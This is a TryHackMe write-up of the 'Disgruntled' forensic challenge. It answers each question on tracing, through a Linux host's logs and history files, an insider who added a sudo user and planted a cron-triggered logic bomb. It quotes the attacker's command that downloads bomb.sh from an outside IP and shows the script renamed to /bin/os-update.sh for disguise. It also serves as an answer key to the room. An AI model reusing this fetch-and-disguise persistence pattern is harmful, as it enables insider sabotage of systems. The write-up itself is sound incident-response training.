# Disgruntled TryHackMe

#### Task 3 Nothing suspicious... So far

Here’s the machine our disgruntled IT user last worked on. Check if there’s anything our client needs to be worried about.

My advice: Look at the privileged commands that were run. That should get you started.

Q1) The user installed a package on the machine using elevated privileges. According to the logs, what is the full COMMAND?

{% hint style="info" %}
Check the sudo execution history.![](https://chrome-extension/amfojhdiedpdnlijjbhjnhokbnohfdfb/img/logo/icon@2x.png)
{% endhint %}

We can investigate the bash\_history file under the /home directory \ <br>

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2FvBZ4XnWqwdUyNlz0Ajet%2Fimage.png?alt=media&#x26;token=07d71e7d-303f-4a73-b492-60c3470906d8" alt=""><figcaption><p>cat /home/cybert/.bash_history</p></figcaption></figure>

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2Fc3oJyemzt3jAl0HZZZbb%2Fimage.png?alt=media&#x26;token=5bbfeacc-b6d2-43fa-8cba-92879e1713df" alt=""><figcaption></figcaption></figure>

sudo apt install dokuwiki

**Ans : /usr/bin/apt install dokuwiki**

**Q2)** What was the present working directory (PWD) when the previous command was run?<br>

by looking in the /home

**Ans : /home/cybert**

#### Task 4 Let’s see if you did anything bad

Keep going. Our disgruntled IT was supposed to only install a service on this computer, so look for commands that are unrelated to that.

Q3) Which user was created after the package from the previous task was installed?

By looking in the Second photos we found **sudo adduser it-admin**

**Ans : it-admin**

**Q4) A user was then later given sudo priveleges. When was the sudoers file updated? (Format: Month Day HH:MM:SS)**<br>

let's investigate log files&#x20;

```
vim /var/log/auth.log
```

<br>

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2Fao24a9HDs2Z5J9y8WHon%2Fimage.png?alt=media&#x26;token=fe9d5c5d-cde5-4893-aacb-f73166441163" alt=""><figcaption></figcaption></figure>

I found IT&#x20;

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2FkFEX5ZWLrKlkRrRdNPjw%2Fimage.png?alt=media&#x26;token=e77fc661-eb27-4ced-83fa-3cc32f12f6a1" alt=""><figcaption></figcaption></figure>

#### Ans : Dec 28 06:27:34

**Q5) A script file was opened using the "vi" text editor. What is the name of this file?**

remember the created acount , let's investigate bash history in it

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2FBk4fewl4WdvcLZosCFmu%2Fimage.png?alt=media&#x26;token=bbd70702-2c7d-48e6-9a30-b7daa7809871" alt=""><figcaption></figcaption></figure>

**Ans : bomb.sh**

#### Task 5 Bomb has been planted. But when and where?

That `bomb.sh` file is a huge red flag! While a file is already incriminating in itself, we still need to find out where it came from and what it contains. The problem is that the file does not exist anymore.

**Q6) What is the command used that created the file bomb.sh?**

**From the prev screen**

**Ans : curl 10.10.158.38:8080/bomb.sh --output bomb.sh**

**Q7 The file was renamed and moved to a different directory. What is the full path of this file now?**<br>

The vi text editor can edit and save files to a different location

let's investigate viminfo&#x20;

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2F22qw3yJFJqRVMZSzzyDO%2Fimage.png?alt=media&#x26;token=73f9c10d-94d0-4395-a3d8-13ba83de3596" alt=""><figcaption></figcaption></figure>

<br>

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2F6t9t6VugDjNjMwQWPJDV%2Fimage.png?alt=media&#x26;token=1f086667-ef37-479d-b999-b4bdc56a3c10" alt=""><figcaption></figcaption></figure>

**Ans : /bin/os-update.sh**

**Q8 ) When was the file from the previous question last modified? (Format: Month Day HH:MM)**<br>

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2FOGZR3W1ch9Q3XApGNOzF%2Fimage.png?alt=media&#x26;token=b4f5de34-b282-42cc-b2a4-a1b3d7d8be3c" alt=""><figcaption><p>easy :)</p></figcaption></figure>

**Ans : Dec 28 06:29**

**Q9) What is the name of the file that will get created when the file from the first question executes?**

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2FX75ok1WxjHMMFInudyiy%2Fimage.png?alt=media&#x26;token=da2ab090-a671-4194-851e-bd54f69e909a" alt=""><figcaption><p>the file is goodbye.txt</p></figcaption></figure>

**Ans : goodbye.txt**

#### Task 6 Following the fuse

So we have a file and a motive. The question we now have is: how will this file be executed?

**Q10 ) At what time will the malicious file trigger? (Format: HH:MM AM/PM)**

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2F2KgqJJmBeaCQSxGpajz9%2Fimage.png?alt=media&#x26;token=221535cb-c77f-41ca-95bd-9a6857210dd1" alt=""><figcaption></figcaption></figure>

by going to <https://crontab.guru/>

<br>

<figure><img src="https://2672868225-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MRLWF7BP-xoZbu8kb7J%2Fuploads%2Ft96NOXXsGSY9hbdbKQN1%2Fimage.png?alt=media&#x26;token=44384706-060b-4558-a0b4-bd353b40a144" alt=""><figcaption></figcaption></figure>

\
**Ans : 08:00 Am**

**I think the challange it's not easy , its very easy** :smile: <3<br>
